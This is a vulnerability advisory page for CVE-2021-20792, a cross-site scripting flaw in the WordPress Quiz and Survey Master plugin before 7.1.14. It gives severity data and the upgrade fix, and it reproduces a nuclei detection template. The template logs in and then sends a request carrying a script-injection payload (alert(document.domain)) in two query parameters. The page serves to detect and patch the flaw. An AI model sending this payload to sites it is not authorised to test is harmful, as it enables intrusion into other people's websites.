WordPress Quiz and Survey Master <7.1.14 - Cross-Site Scripting

mediumseverity

6.1CVSS score

2.9%likelihood of exploitation, next 30 days

87%of all CVEs are less likely

Readycheck to confirm it

WordPress Quiz and Survey Master plugin prior to 7.1.14 contains a cross-site scripting vulnerability which allows a remote attacker to inject arbitrary script via unspecified vectors.

Impact

Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the affected website, leading to potential data theft, session hijacking, or defacement.

Fix

Update to the latest version of WordPress Quiz and Survey Master plugin (7.1.14) to mitigate the vulnerability.

How to confirm it

Send: POST /wp-login.php ; GET /wp-admin/admin.php?page=mlw_quiz_list&s="></script><script>alert(document.domain)</script>&paged="></script><script>alert(document.domain)</script>
Positive when: contains "</script><script>alert(document.domain)</script>" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2021-20792 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2021-20792

info:
  name: WordPress Quiz and Survey Master <7.1.14 - Cross-Site Scripting
  author: dhiyaneshDK
  severity: medium
  description: WordPress Quiz and Survey Master plugin prior to 7.1.14 contains a cross-site scripting vulnerability which allows a remote attacker to inject arbitrary script via unspecified vectors.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the affected website, leading to potential data theft, session hijacking, or defacement.
  remediation: |
    Update to the latest version of WordPress Quiz and Survey Master plugin (7.1.14) to mitigate the vulnerability.
  reference:
    - https://wpscan.com/vulnerability/4deb3464-00ed-483b-8d91-f9dffe2d57cf
    - https://quizandsurveymaster.com/
    - https://jvn.jp/en/jp/JVN65388002/index.html
    - https://nvd.nist.gov/vuln/detail/CVE-2021-20792
    - https://plugins.trac.wordpress.org/changeset?new=2503364%40quiz-master-next%2Ftrunk%2Fphp%2Fadmin%2Fquizzes-page.php&old=2490516%40quiz-master-next%2Ftrunk%2Fphp%2Fadmin%2Fquizzes-page.php
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-20792
    cwe-id: CWE-79
    epss-score: 0.02915
    epss-percentile: 0.87119
    cpe: cpe:2.3:a:expresstech:quiz_and_survey_master:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: expresstech
    product: quiz_and_survey_master
    framework: wordpress
  tags: cve2021,cve,wordpress,wp-plugin,authenticated,wpscan,expresstech,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Origin: {{RootURL}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: wordpress_test_cookie=WP%20Cookie%20check

        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
      - |
        GET /wp-admin/admin.php?page=mlw_quiz_list&s="></script><script>alert(document.domain)</script>&paged="></script><script>alert(document.domain)</script> HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '</script><script>alert(document.domain)</script>'

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from